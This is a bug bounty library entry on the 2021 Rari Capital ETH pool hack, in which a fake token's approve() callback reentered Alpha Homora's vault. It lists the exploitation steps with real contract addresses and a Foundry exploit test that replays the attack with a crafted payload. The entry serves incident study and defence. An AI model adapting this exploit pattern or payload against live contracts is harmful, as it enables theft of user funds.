# Rari Capital ETH pool drained via cross-contract reentrancy

Cross-contract reentrancy via fake token approve() payload let attacker mint ibETH in Rari ETH pool and drain ~2.9k ETH.

- Payout: Real-world hack
- Severity: critical
- Program: RariCapital
- Analysis by: DeFiHackLabs
- Disclosed: 2021-05-09
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2021-05/RariCapital_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20210509-raricapital
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained technique:source-review vuln:business-logic vuln:reentrancy

**Target:** Rari Capital ETH pool vault (Bank.work) via Alpha Homora ibETH
**Root cause:** The Rari ETH pool's work() flow trusted a callback into an attacker-controlled fake token whose approve() reentered the pool, letting the attacker obtain ibETH without proper collateral accounting.
**Steps:**
1. Create a fake ERC20 token and pool it with WBNB/ETH on SushiSwap.
2. Interact with Alpha Homora so that calling `approve()` on the fake token triggers an attacker payload.
3. Payload obtains ibETH held in the Rari ETH pool contract.
4. Call `vault.work(0, goblin, 0, 1e23, data)` on 0x67B66C99D3Eb37Fa76Aa3Ed1ff33E8e39F0b9c7A with crafted `data` referencing the fake token 0x2f755e8980f0c2E81681D82CCCd1a4BD5b4D5D46.
5. Convert the obtained ibETH to ETH inside the Rari ETH pool and withdraw.
**How found:** Recognized that protocols calling approve()/callbacks on user-supplied tokens execute attacker code mid-transaction, enabling reentrancy into the lending pool's accounting.
**Exploitation:** Attacker first drained Value DeFi on BSC (~5,346 BNB / $3.8M), bridged to ETH via Anyswap, then repeated the same fake-token approve() callback pattern against Alpha Homora to mint ibETH in Rari's ETH pool and redeem it for ~2.9k ETH ($11.1M).
**Escalation:** Same exploit mechanism reused across chains and protocols (Alpaca/Alpha, vSafe/Rari, PancakeSwap/SushiSwap), scaling profit to ~$15M total.
**Insight:** When a lending/aggregator protocol calls approve() or any hook on a user-supplied token, treat that call as an attacker-controlled reentrancy point into the pool's share accounting.

## Proof of concept (copied exactly from the original report)

**Foundry exploit test calling vault.work with crafted payload**

```
function testExploit() public {
        emit log_named_decimal_uint("[Start] ETH Balance of attacker", attacker.balance, 18);

        bytes memory data =
            hex"00000000000000000000000081796c4602b82054a727527cd16119807b8c7608000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000600000000000000000000000002f755e8980f0c2e81681d82cccd1a4bd5b4d5d4600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";

        cheats.startPrank(0xCB36b1ee0Af68Dce5578a487fF2Da81282512233, 0xCB36b1ee0Af68Dce5578a487fF2Da81282512233);
        (bool success, bytes memory result) = address(0x2f755e8980f0c2E81681D82CCCd1a4BD5b4D5D46).call{
            value: 1_031_000_000_000_000_000_000
        }(abi.encodeWithSignature("donate()"));

        vault.work{value: 100_000_000}(
            0, 0x9EED7274Ea4b614ACC217e46727d377f7e6F9b24, 0, 100_000_000_000_000_000_000_000, data
        );

        emit log_named_decimal_uint("[End] ETH Balance of attacker", attacker.balance, 18);
    }
```

